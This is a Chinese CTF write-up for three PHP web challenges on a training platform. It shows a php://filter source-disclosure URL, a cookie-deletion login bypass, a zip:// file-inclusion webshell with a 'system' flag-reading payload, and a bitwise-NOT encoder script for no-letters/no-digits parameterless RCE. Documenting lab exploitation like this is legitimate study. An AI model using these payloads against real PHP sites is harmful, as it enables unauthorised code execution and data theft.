Roamphp1-Welcome
405請求方法不允許,改一下請求方法
數組繞過,在頁面搜索flag即可!本題:就是知道了405是請求方法不允許!
Roamphp2-Myblog(zip協議加文件包含)
首先進來就是一個博客頁面,注意一下url那地方有些可疑,通過page來切換頁面估計是文件包含,后綴在后端添加了!用php偽協議把源碼給趴下來!
http://3ac4e25d-0f61-46d7-a807-0156c854dee6.node5.buuoj.cn:81/index.php?page=php://filter/convert.base64-encode/resource=login
<?php
require_once("secret.php");
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();
?>
同理其它的
<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){ // No one knows my password, including myself$logined = true;$_SESSION['status'] = $logined;}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";die();
}
?>
這里把前端的cookie(通過cookie來驗證的)給刪了然后密碼置為空就好了!
進到后臺這里有個文件上傳的功能,這里是白名單(也是源碼里面寫了的我沒放出來)沒法打文件上傳好像。這里就是結合文件包含打zip協議了!
訪問壓縮包里面的文件。當它與包含函數結合時,zip://流會被當作php文件執行。
zip:// [壓縮文件絕對路徑]#[壓縮文件內的子文件名]
那么我們先壓縮我們的php馬,然后在把zip改成jpg利用即可!
?page=zip://./assets/img/upload/368d066d6c9103bba3e2e41338d2cad19e2f367b.jpg%231
POST : a=system(“tac /f*”);
本題:隱藏后綴名+如果能上傳圖片馬是可以配合文件包含去打的(突然理解了之前別人說的,圖片馬要結合文件包含去利用的意思了)!
Roamphp4-Rceme(nb的函數調用)
vim緩存信息泄露,直接訪問.index.php.swp。然后把下載好的文件拖到kali里面,用vim -r index.php.swp進行恢復!得到源碼!
<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);//獲得驗證數字
}if(isset($_POST['cmd']) and isset($_POST['code'])){if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){die('<script>alert(\'Captcha error~\');history.back()</script>');}$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);$code = $_POST['cmd'];if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){//修正符:x 將模式中的空白忽略; die('<script>alert(\'Longlone not like you~\');history.back()</script>');}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){@eval($code);die();}
簡單來說就是:
1.code經過md5加密后的前5個字符要等于session 的code
2.cmd長度不能超過70且不能被正則匹配到
3.匹配括號內的內容替換成空格后結果為;(buhsi,這個正則我看了好久。還是解釋一下吧!/[^\s()]+?((?R)?)/就是先匹配非空白字符或者非括號是非貪婪模式然后再加一個遞歸匹配。
(?R) 是遞歸引用,表示 整個正則表達式本身。? 表示 前面的 (?R) 是可選的(可以匹配 0 次或 1
次)。這使得遞歸可以終止(否則會無限遞歸)。
然后這其實就是無參數rce加無字母數字rce!這里用的是取反,其他用不了,至于為啥,自己想想!
先phpinfo()試一下吧!這里有一點就是不能用(phpinfo)();這種了,因為過不了正則。然后就是在php7中:
[‘phpinfo’][0]()
[‘phpinfo’]{0}()
是和(phpinfo)()一樣的效果!是因為短數組語法:[‘phpinfo’]等同于array(‘phpinfo’)傳統數組的定義方法。所以[phpinfo][0]();等價于phpinfo();
發現是可以的!!!然后這里我們開始構造命令,我這里就為了方便直接讀flag了!
一些解釋:
cmd用的是system(end(getallheads())),就是我手動把ua的位置弄到了最后,這樣end就可獲取到寫在ua里面的命令了!然后一些wp說用next,但是我ua不在第二個元素啊,好像也弄不到第二個!getallheads()函數返回請求頭的信息
這里就用var_dump(getallheads());來看看
最后貼個取反用的腳本吧:
<?php
$a=urlencode(~'system');
echo "[$a]"."[~%FF]";
echo "\n";
$b=urlencode(~'getallheaders');
echo "[$b]"."[~%FF]";
echo "\n";
$c=urlencode(~'end');
echo "[$c]"."[~%FF]";
$d=urldecode('%CF');
echo ~$d;
?>
本題:1,.index.php.swp泄露然后再kali里面用vim -r index.php.swp命令來恢復!
2,md5每次發包后都會變,這是寫在源碼里面的
3,php7的nb函數調用繞過正則,[phpinfo][0]();等價于phpinfo();
4,取反繞過無字母數字rce